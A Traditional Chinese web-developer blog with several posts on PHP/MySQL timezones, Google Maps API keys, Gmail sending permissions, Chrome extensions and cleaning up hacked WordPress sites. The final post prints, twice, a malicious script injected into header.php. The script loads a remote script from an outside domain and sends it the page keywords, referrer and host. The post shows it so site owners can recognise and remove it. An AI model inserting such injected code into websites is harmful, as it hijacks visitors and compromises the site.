php mysql時區不一樣

  1. 先show出測試主機時間
  2. 再來加上以下兩種擇其一之方式(台北時間)

ini_set(‘date.timezone’,’Asia/Taipei’);
date_default_timezone_set(‘Asia/Taipei’);

 

範例code

<?php
echo ‘主機時間: ‘.date(‘Y-m-d H:i:s’).'<br>’;//主機時間

date_default_timezone_set(‘Asia/Taipei’); //這邊用這一種

echo ‘更改後時間: ‘.date(‘Y-m-d H:i:s’).'<br>’; //再秀一遍更改後
?>

再來是MYSQL 部分,由於主機時間你用PHP改只是秀出正確而已,並沒有實際更正為你要的時區

因此你若用MYSQL 裡的NOW() 或是 CURDATE() 都有可能是GMT 00:00,
而台灣時區是GMT +08:00,所以SELECT出來的時間會不如預期,

因此我們可以採用CONVERT_TZ(時間變數,’+00:00從什麼時區’,’+08:00要成為的時區’)

下方範例code

我要選出訂單表格(order)裡的屬於今天任何時間的訂單(order_datetime是訂單時間 到秒 )
所以今天的日期NOW() 然後因為時區不同要改為(CONVERT_TZ(NOW(),’+00:00′,’+08:00′)

然後DATEDIFF(時間日期 , 設定時間日期)相減的位移天數 ,我們要今天所以相減為0

因此MYSQL code如下

SELECT * FROM order WHERE DATEDIFF(CONVERT_TZ(NOW(),’+00:00′,’+08:00′) , order_datetime ) = 0

php搜尋資料夾裡面的資料夾及檔案

<?php
function get_allfiles($path,&$files) {
if(is_dir($path)){
$dp = dir($path);
while ($file = $dp ->read()){
if($file !="." && $file !=".."){
get_allfiles($path."/".$file, $files);
}
}
$dp ->close();
}
if(is_file($path)){
$files[] = $path;
}
}

function get_filenamesbydir($dir){
$files = array();
get_allfiles($dir,$files);
return $files;
}

$filenames = get_filenamesbydir(“F:\");

foreach ($filenames as $value) {
echo $value."<br />";
}

//完整搜尋資料夾裡面的資料及檔案
?>

 

網站內嵌google map API無法顯示其實是缺少金鑰API KEY

可能遇到上傳正式網站後,網站內嵌google map API無法顯示

其實是缺少金鑰API KEY

01

 

這邊將如何取的金鑰,以及如何加回程式內,讓網站內嵌google map API正常顯示

首先我們到google maps API來

https://developers.google.com/maps/documentation/javascript/get-api-key?hl=zh-tw

按下左邊的 “取得金鑰"

02

進入後,再來往下可以看到 GET A KEY 按鈕,點擊進去。

03

 

然後會進入很惶恐的白介面,(開始緊張雞雞縮很小)不要緊張,點選左側三槓選單

04

再來選擇API管理員

05

 

 

然後選擇 Google APIs右邊的選單

建立專案

06

 

建立專案後,要改名,不然會是 My Project,在最右邊小點點,點選後,下方"專案設定"

07

 

這邊我們改成good-map(隨你取名拉)

08

 

改完名稱後,我們依樣選擇左邊三槓選單 -> API管理員 ->下方憑證

09

 

 

然後我們建立憑證 -> 請幫我選擇

10

 

選擇 Google Maps JavaScript API ->再點擊 我需要那些憑證

11

 

然後你取得API金鑰了 在我圖片馬賽克那欄位 -> 完成

12

 

這時候 會出現 API金鑰 ->點擊進入設定

13

 

然後這個應用金鑰的名稱隨你取,我自己取map2 -> 金鑰限制 選擇 HTTP參照網址

->下方填入你的網址 XXX.com.tw  或xxx.com (反正就是你的網站網址) ->儲存

14

 

最後一步 先去上個廁所買個飲料 約莫5分鐘回來,將API金鑰填回你的網站程式內,填哪裡呢?

一般來說你有用map API  都會用下面這個script

<script src="http://maps.google.com/maps/api/js"></script>

js後面加上 ?key=你的金鑰 。如下。

<script src="http://maps.google.com/maps/api/js?key=你的金鑰"></script>

15

 

然後上傳你剛改好的程式,再重新整理一下網頁,OH WTF 出來了耶,

心得是,真麻煩,E04。

16

 

2017/07/15 更新

如果還是不行,需啟用 Google Maps JavaScript API

啟用

 

KaoHsing 高興

使用GMAIL於網頁表單寄信的權限

使用GMAIL於網頁表單寄信時,可能常常遇到權限問題,可能遇到以下錯誤
(我是使用phpmailer)

Cannot authenticate due to temporary system problem

或是

5.5.1 Authentication required

因為常常gmail權限更改覺得很煩

後來覺得使用 專屬密碼 這個方式很不錯

先啟用 2步驗證

https://myaccount.google.com/signinoptions/two-step-verification/enroll-welcome?pli=1

然後 設定專屬密碼

https://security.google.com/settings/security/apppasswords?pli=1

這個專屬密碼 可以用來用在你的 gmail寄信程式的密碼

像這樣會獲的一次 16碼的 密碼

07899

然後將 16碼的密碼 放置在你的網頁寄信程式裡

077777

測試後,覺得棒!!

(爾後兩步驗證可以關閉,要使用應用程式密碼就要開啟兩步驗證去設定,但是設定好後,是可以關閉兩步驗證的,不影響應用程式密碼。)

 

2017/10/31 補充 G Suit的權限

如果是使用G Suit,要請G Suit管理員去網域控制台

登入您的 Google 管理控制台。
請使用「管理員帳戶」(而非目前使用的帳戶) 登入link7311@gmail.com。

在管理控制台資訊主頁中,依序前往 [安全性] 接著 [基本設定]。

如要在資訊主頁中查看 [安全性],請按一下底部的 [更多控制項]。

在「低安全性應用程式」之下,選取 [開啟「低安全性應用程式」設定]。

然後再請使用該mail的帳號人員去 “開啟低安全性"

https://myaccount.google.com/lesssecureapps

低安全性

 

2021/03/11 補充 要 啟用帳戶存取權
這是在IT邦幫忙找到的
https://ithelp.ithome.com.tw/questions/10187930
裡面sfwejfish作者提到如下 :
表示除了低安全性之外,還要授權存取權限(這個動作在程式移動到新主機就要做一次)
https://accounts.google.com/b/0/DisplayUnlockCaptcha
因為我是換了新的寄信帳號,但我今天有開了低安全性,也開了16位專用密碼,但還是失敗,結果今天用了上面網址,啟用帳戶存取權,後居然成功了,(但我密碼沒有用16位專屬密碼,是用信箱本身的密碼後來寄信成功了)

很好設計 高興

目前有些WORDPRESS網站會被駭被轉址到其他網站

目前有些WORDPRESS網站會被轉址到其他網站,找到治標方式。

WP網站路徑 / wp-include / js / jquery / jquery.js

看看最後一行 有沒有很奇怪的 類似 0x88f 之類的,有的話刪除那段

附圖是正常的 jquery.js

%e6%9c%89%e7%84%a1%e5%85%b6%e4%bb%96%e6%80%aa%e7%95%b0

如果不正常 我圈出來的地方 應該會有被轉址的奇怪語法。

 

此部落格 我也是常常被攻擊 ,各種被入侵被轉址,然後再慢慢找原因

所以往後近來看到這網站怪怪的,大概是我又要開始攻防,然後寫下一篇文章的時候了

新手製作chrome 外掛(extension)的教學及注意事項

1.已測試可以用JQUERY (真棒啊!!)

2. 所有的 js 不能跟html 共用一頁,要獨立出一個js

3.CSS 可以跟HTML共用頁面

也就是 CSS+HTML 可以為一頁, 但是任何js 都要用src的方式連結,這很重要!!!

然後有些測試出來怪怪的語法,不訪查詢原生chrome的語法,然後採用原生chrome的語法代替

以下範例 :

var _text=’http://www.goods-design.com.tw’;
for (var i = 0;  i < 5 ; i++) {
window.open(_text ,’_blank’); //用這個在chrome ex會有極限2個
}

用上述方式實際測試只會開啟2個tab,改用下列方式方可開啟所有tab

for (var i = 0; i < _length; i++) {
chrome.tabs.create({ url: _text }); //要用原生chorme的語法
};

你的WP的header.php也被駭了嗎,提供一個治標解決方式

你的WP的header.php也被駭了嗎? “高興"提供一個治標解決方式。

症狀如下

類似這段程式碼,會出現在theme裡面的header.php裡頭的</head>前面

<script>var a=";setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!=="||document.referrer!==null){document.write(‘<script type="text/javascript" src="http://eurotredeshop.org/js/jquery.min.php?c_utt=G91825&c_utm=’+encodeURIComponent(‘http://eurotredeshop.org/js/jquery.min.php’+’?’+’default_keyword=’+encodeURIComponent(((k=(function(){var keywords=";var metas=document.getElementsByTagName(‘meta’);if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!=="?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?":t:v[1]:k))+’&se_referrer=’+encodeURIComponent(document.referrer)+’&source=’+encodeURIComponent(window.location.host))+'"><‘+’/script>’);}</script>

fuckcode

 

OK,你被駭了!, 然後,一般我們遇到就是進去刪除這段code,但很不幸的3天後,又被放置類似的code進來的,怎麼駭進來的,我不知道詳情,我基本不是wp超級資安專家,只是一個wp使用者,而且你會被客戶說,

為何我的網站在google上出現這個網站可能已遭入侵 “

hack

 

google會幫你偵測 你的網站被入侵了,其實蠻貼心的。

我知道你們不想聽我屁話這麼多,那馬上來看看怎麼[治標]吧,目前已經快一個月都沒再被入侵植入程式碼了

 

STEP1  先刪除被植入的那段code

把 theme裡你使用的主題的header.php 打開來 並刪除可疑code

先刪除</head>前面的這段code

<script>var a=";setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!=="||document.referrer!==null){document.write(‘<script type="text/javascript" src="http://eurotredeshop.org/js/jquery.min.php?c_utt=G91825&c_utm=’+encodeURIComponent(‘http://eurotredeshop.org/js/jquery.min.php’+’?’+’default_keyword=’+encodeURIComponent(((k=(function(){var keywords=";var metas=document.getElementsByTagName(‘meta’);if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!=="?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?":t:v[1]:k))+’&se_referrer=’+encodeURIComponent(document.referrer)+’&source=’+encodeURIComponent(window.location.host))+'"><‘+’/script>’);}</script>

 

STEP2  剪下剩餘的原始乾淨code

刪除可疑code後,剪下剩餘的原有程式碼
(注意: 是將惡意code刪除後,剩餘的乾淨原有code唷)
(注意: 是將惡意code刪除後,剩餘的乾淨原有code唷)
(注意: 是將惡意code刪除後,剩餘的乾淨原有code唷)

一定要把惡意的<script>var a=";setTimeout(10)………………….</script>刪除唷然後你會剩下你原有乾淨的code

 

STEP3 做一個空白檔案 head-include.php

做成一個空白檔案叫做 head-include.php

空白1

把剛剛剪下的程式碼(原本在header.php的乾淨的code) 在空白的head-include.php全部貼上

貼上2

 

STEP4  header.php只留一行程式

這時候header.php會是空白的,來寫一段php簡單程式碼吧

<?php include(‘head-include.php’); ?>

in

 

DONE !!!

 

再來看看運作上有沒有問題,理論上應該都是正常運作的,

那為什麼這樣可行呢?

我的推測是 :  駭客已經破解wp(目前更新到最新4.5.2還是有被破解過)核心,就是衝得進去你家,然後是用程式碼判斷你主題theme裡有沒有header.php這個檔案,有的話會去找到你的</head>,然後緊接在</head>前面植入a=";setTimeout(10);if(…………… 這段惡意code。

因為工作繁忙沒有時間真正研究如何防禦及理論,還請其他大大補充囉

提供給遇到且想試看看的人

轉載請告知,並於轉載文中附原文連結,謝謝。

高興

studio.goods@gmail.com